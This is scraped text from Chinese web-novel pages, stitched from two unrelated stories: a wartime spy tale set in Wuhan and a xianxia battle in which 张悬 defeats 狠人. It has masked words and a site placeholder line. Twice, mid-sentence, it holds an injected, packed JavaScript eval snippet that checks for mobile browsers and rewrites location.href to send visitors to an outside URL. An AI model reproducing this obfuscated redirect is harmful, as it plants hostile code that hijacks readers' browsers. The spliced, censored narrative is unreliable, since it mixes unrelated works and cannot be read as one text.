李二狗认为武汉地下党遭受如此大的损失和自己有很大的关系,他绝不能坐视不管。 “我已经决定了,你在这里乖乖等我回来,我答应你,我一定不会有事。” 徐青霞和李二狗虽然认识时间并不长,但她却非常了解李二狗的性格,一旦他决定的事情,其他人很难改变。 “二狗,我等你回来,你如果回不来,我一定会追随你而去。” 徐青霞说完,哭着夺门而出。 刘东听了徐青霞的话,不知道该如何回复李二狗刚才的嘱托。 “领导,请你一定照顾好她,拜托了!” “李先生,你放心吧,她一定不会有事的。” “谢谢!” 李二狗说完便出了门,今夜注定不是一个平凡的夜晚。 第373章 你……你到底想做什么 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248344|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第374章 你真是一个无耻的男人 “我刚才已经和你说过了,请你告诉我关押那些被捕地下党的地址。” 李二狗的嘴朝向王曼春的脸,呼出的气息令她起了一身鸡皮疙瘩。 “我……我就是告诉你地址,你也没有办法把他们救出来,我劝你还是趁早**这份心吧!” “救不救得出他们是我的本事,告不告诉我地址是你的选择,而且我告诉你……”李二狗的嘴唇几乎已经贴到她的嘴唇上,“你别无选择!” 王曼春的内心彻底崩溃了。 她可以忍受各种各样的严刑拷打,但却受不了李二狗这种明目张胆的引诱。 明明心里恨极了他,却又不由自主地喜欢他,此时王曼春的内心是挣扎的。 “他们都被关押在上次关押你的地方。” “这才乖!”李二狗口吻生香,“现在你打个电话,让黄一**上到你办公室来一趟。” “让他来我办公室?这么晚了,让他来我办公室干什么?” 李二狗微微一笑,给王曼春抛了一个媚眼。 “来了……你就知道了。” 王曼春此时已经稍微恢复了一些理智,这时候李二狗让黄一博来,肯定是要他的命。 “他离得太远了,再说他待得地方也没有电话。” 李二狗突然直视着王曼春的眼睛,两人的距离差不多只有一厘米。 “王科长,一看你就是一个不善于撒谎的女人,我知道他就在这栋楼里。” 王曼春惊讶之情溢于言表。 “你……你怎么知道的?” “你的眼睛告诉我的。” 其实这只是李二狗的信口胡诌。 黄一博价值重大,放在哪里,王曼春都不会放心。 最让她放心的地方肯定是自己的身边,力行社大楼无疑是最安全的地方。 王曼春真以为李二狗是从她的眼睛里发现她在撒谎,一时有些手足无措。 她感觉自己在李二狗面前就是一个透明人,他无所不知! 李二狗指了指电话,说道:“王科长,打电话吧,你叫他来,他不敢不来。” 王曼春没有办法,只能拿起电话。 “千万不要耍什么花招,我打**的速度是你想象不到的。” 王曼春已经放弃了抵抗,败在李二狗手里,她心服口服。 “你的**都顶到我脑门上了,我还敢耍花招吗?” 她拨出一串号码,很快就接通了。 “把黄一博带到我办公室。” 说完便挂断了电话。 “王科长的态度很是令我很满意。” 李二狗冷不丁地亲了王曼春一口,王曼春竟享受地闭上了眼睛。 “李二狗,早晚有一天我会亲手宰了你!” “就怕你舍不得下手。” “你……” 王曼春胸脯一抖一抖的,很显然内心正在波澜起伏。 “你什么?男人都喜欢温柔的女人,你又何必假装自己是一头母老虎呢?哈哈……” 正在这时,响起来敲门声。 “王科长,黄先生到了。” “让黄一博自己进来!” 此时,王曼春坐在办公室后面的椅子上,李二狗躲在椅子后面,**顶在王曼春的腰上。 黄一博走进王曼春办公室,看到王曼春正襟危坐,内心有些打鼓。 在武汉从事地下工作多年,他对王曼春的脾气性格十分了解,这是一个**不眨眼的女魔头,当然她也是一个妩媚到骨子里的大美人。 “王科长,您找我。” 王曼春面无表情地坐在椅子上,她和黄一博使了个眼色,眼珠子向自己身后撇了撇。 但黄一博根本不敢直视王曼春的眼睛,他低着头,等待着王曼春的吩咐。 王曼春恨极了这种没见过世面的男人,和李二狗比起来,他简直连坨屎都算不上。 “王科长,您找我。”黄一博低头重复道。 “是我找你!” 李二狗从王曼春身后站出来,一双锐利的眼睛死死地盯着黄一博。 “李二狗……” “啊……” 一把**从李二狗手中飞出,正中黄一博的脖子。 他双手捂住脖子,眼睛瞪得像铜铃,嘴里“呜呜”地发不出声音,很快便倒在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252452|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,双腿一蹬,没了气息。 王曼春见多识广,但李二狗刚才掷出的这把**,无论是速度还是精准度都令她瞠目结舌。 这是高手,绝顶的高手! 他如果想杀自己,自己将逃无可逃! “李先生,人你也杀了,关押地址你也知道了,现在是不是可以放了我?” 李二狗从椅子后面转到王曼春身前,但手里的枪一直指着她的脑袋。 “王科长,最后再麻烦你一件事,我保证是最后一件。” 